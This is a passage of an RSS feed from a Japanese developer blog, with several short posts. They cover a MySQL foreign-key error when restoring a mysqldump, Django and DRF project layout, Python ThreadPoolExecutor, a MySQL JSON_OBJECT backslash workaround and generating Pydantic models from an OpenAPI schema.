&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;CONSTRAINT&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;gas_bombehouse_os_branch_id_d35d17d3_fk&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FOREIGN&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;os_branch_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;REFERENCES&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;outsources_outsourcebranch&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;) ENGINE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;InnoDB AUTO_INCREMENT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DEFAULT&lt;/span&gt; CHARSET&lt;span style="color:#f92672"&gt;=&lt;/span&gt;utf8mb3;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/*!40101 SET character_set_client = @saved_cs_client */&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;CREATE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;outsources_outsourcebranch&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;id&lt;span style="color:#f92672"&gt;`&lt;/span&gt; bigint &lt;span style="color:#66d9ef"&gt;NOT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;NULL&lt;/span&gt; AUTO_INCREMENT,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;PRIMARY&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;) ENGINE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;InnoDB AUTO_INCREMENT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9751&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DEFAULT&lt;/span&gt; CHARSET&lt;span style="color:#f92672"&gt;=&lt;/span&gt;utf8mb3;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/*!40101 SET character_set_client = @saved_cs_client */&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="原因"&gt;原因&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;リモートの mysqldump を ローカルにそのまま取り込もうとしていた&lt;/li&gt;
&lt;li&gt;古いスキーマが残っていて、その&lt;code&gt;id&lt;/code&gt;が&lt;code&gt;int&lt;/code&gt; であったため。&lt;/li&gt;
&lt;li&gt;DROP TABLE IF EXISTS &lt;code&gt;table&lt;/code&gt; CREATE TABLE &lt;code&gt;table&lt;/code&gt; が実行されるまで、古いスキーマが残っている、ということ。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;DROP&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IF&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;EXISTS&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;outsources_outsourcebranch&lt;span style="color:#f92672"&gt;`&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/*!40101 SET @saved_cs_client = @@character_set_client */&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/*!50503 SET character_set_client = utf8mb4 */&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;CREATE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;outsources_outsourcebranch&lt;span style="color:#f92672"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;....
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="解決"&gt;解決&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DROP DATABASE&lt;/code&gt; &amp;amp; &lt;code&gt;CREATE DATABASE&lt;/code&gt; して、更地にmysqldumpをロードする&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="資料"&gt;資料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://sebhastian.com/mysql-error-1215/"&gt;How to fix MySQL error 1215 Cannot add foreign key constraint&lt;/a&gt;&lt;/p&gt;</description></item><item><title>PYPI</title><link>https://hdknr.github.io/blogs/posts/2023/04/pypi/</link><pubDate>Thu, 06 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/pypi/</guid><description>&lt;h2 id="cryptgraphycffi"&gt;cryptgraphy/cffi&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.ytyng.com/blog/m1-mac-python-install-cryptgraphy-cffi/"&gt;M1 Mac に cryptgraphy ( cffi ) をインストールする&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Django: model から DRF ModelSerializer を参照する</title><link>https://hdknr.github.io/blogs/posts/2023/04/django-model-%E3%81%8B%E3%82%89-drf-modelserializer-%E3%82%92%E5%8F%82%E7%85%A7%E3%81%99%E3%82%8B/</link><pubDate>Wed, 05 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/django-model-%E3%81%8B%E3%82%89-drf-modelserializer-%E3%82%92%E5%8F%82%E7%85%A7%E3%81%99%E3%82%8B/</guid><description>&lt;h2 id="modelクラスからシリアライザクラスを参照する"&gt;modelクラスからシリアライザクラスを参照する&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;models&lt;/code&gt; &amp;lt;- &lt;code&gt;api&lt;/code&gt; の照合依存のレイアウト&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;partners
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── __init__.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── api
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│   ├── __init__.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│   ├── filters.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│   ├── permissions.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│   ├── schema.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│   ├── serializers.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│   ├── urls.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│   └── viewsets.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── apps.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── models
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│   ├── __init__.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│   ├── apimodels.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│   ├── defs.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│   ├── managers.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│   ├── methods.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│   ├── models.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│   └── querysets.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── tasks.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└── views.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Python: ThreadPoolExecutor: マルチスレッド</title><link>https://hdknr.github.io/blogs/posts/2023/03/python-threadpoolexecutor-%E3%83%9E%E3%83%AB%E3%83%81%E3%82%B9%E3%83%AC%E3%83%83%E3%83%89/</link><pubDate>Thu, 30 Mar 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/03/python-threadpoolexecutor-%E3%83%9E%E3%83%AB%E3%83%81%E3%82%B9%E3%83%AC%E3%83%83%E3%83%89/</guid><description>&lt;h2 id="python-threadpoolexecutor-マルチスレッド"&gt;Python: ThreadPoolExecutor: マルチスレッド&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;bind_all&lt;/span&gt;(self):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_bind&lt;/span&gt;(instance):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; instance&lt;span style="color:#f92672"&gt;.&lt;/span&gt;bind_to_debt()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; executor &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ThreadPoolExecutor(max_workers&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#f92672"&gt;in&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;all():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; executor&lt;span style="color:#f92672"&gt;.&lt;/span&gt;submit(_bind, i)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; executor&lt;span style="color:#f92672"&gt;.&lt;/span&gt;shutdown() &lt;span style="color:#75715e"&gt;# 全てのスレッドが終わるのを待つ&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>MySQL: JSON_OBJECT: JSON文字列フィールドを含む時のバックスラッシュ問題</title><link>https://hdknr.github.io/blogs/posts/2023/03/mysql-json_object-json%E6%96%87%E5%AD%97%E5%88%97%E3%83%95%E3%82%A3%E3%83%BC%E3%83%AB%E3%83%89%E3%82%92%E5%90%AB%E3%82%80%E6%99%82%E3%81%AE%E3%83%90%E3%83%83%E3%82%AF%E3%82%B9%E3%83%A9%E3%83%83%E3%82%B7%E3%83%A5%E5%95%8F%E9%A1%8C/</link><pubDate>Tue, 28 Mar 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/03/mysql-json_object-json%E6%96%87%E5%AD%97%E5%88%97%E3%83%95%E3%82%A3%E3%83%BC%E3%83%AB%E3%83%89%E3%82%92%E5%90%AB%E3%82%80%E6%99%82%E3%81%AE%E3%83%90%E3%83%83%E3%82%AF%E3%82%B9%E3%83%A9%E3%83%83%E3%82%B7%E3%83%A5%E5%95%8F%E9%A1%8C/</guid><description>&lt;h2 id="how-to-replace-double-back-slash-character-to-single-one-from-mysql-json_object-function-results-for-column-including-json-string"&gt;&lt;code&gt;how to replace double back slash character to single one from MySQL JSON_OBJECT function results for column including JSON string&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;You can use the MySQL function &lt;code&gt;REPLACE()&lt;/code&gt; to replace double backslashes with single backslashes in a JSON object. Here&amp;rsquo;s an example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-mysql" data-lang="mysql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;REPLACE&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;JSON_OBJECT&lt;/span&gt;(column_name), &lt;span style="color:#e6db74"&gt;&amp;#39;\\\\\\\\&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;\\\\&amp;#39;&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; table_name;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;This will return the column values with double backslashes replaced with single backslashes.&lt;/p&gt;
&lt;p&gt;If you want to insert a JSON object literal with single backslashes instead of double backslashes, you can set the &lt;code&gt;NO_BACKSLASH_ESCAPES&lt;/code&gt; SQL mode⁴. When this mode is set, a single backslash instead of double backslashes can be used to insert the JSON object literal, and the backslashes are preserved⁴. If you use the &lt;code&gt;JSON_OBJECT()&lt;/code&gt; function when performing the insert and this mode is set, you must alternate single and double quotes⁴.&lt;/p&gt;</description></item><item><title>Django:OpenAPI(Swagger) Scheme を出力して Pydatic クラスを生成できるようにする</title><link>https://hdknr.github.io/blogs/posts/2023/03/djangoopenapiswagger-scheme-%E3%82%92%E5%87%BA%E5%8A%9B%E3%81%97%E3%81%A6-pydatic-%E3%82%AF%E3%83%A9%E3%82%B9%E3%82%92%E7%94%9F%E6%88%90%E3%81%A7%E3%81%8D%E3%82%8B%E3%82%88%E3%81%86%E3%81%AB%E3%81%99%E3%82%8B/</link><pubDate>Fri, 24 Mar 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/03/djangoopenapiswagger-scheme-%E3%82%92%E5%87%BA%E5%8A%9B%E3%81%97%E3%81%A6-pydatic-%E3%82%AF%E3%83%A9%E3%82%B9%E3%82%92%E7%94%9F%E6%88%90%E3%81%A7%E3%81%8D%E3%82%8B%E3%82%88%E3%81%86%E3%81%AB%E3%81%99%E3%82%8B/</guid><description>&lt;h2 id="drf-コマンドでshemaを生成する"&gt;DRF: コマンドでShemaを生成する&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pip install datamodel-code-generator
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;ProfileSerializer(ModelSerializer)から　Pydanticモデルを生成する&lt;/p&gt;
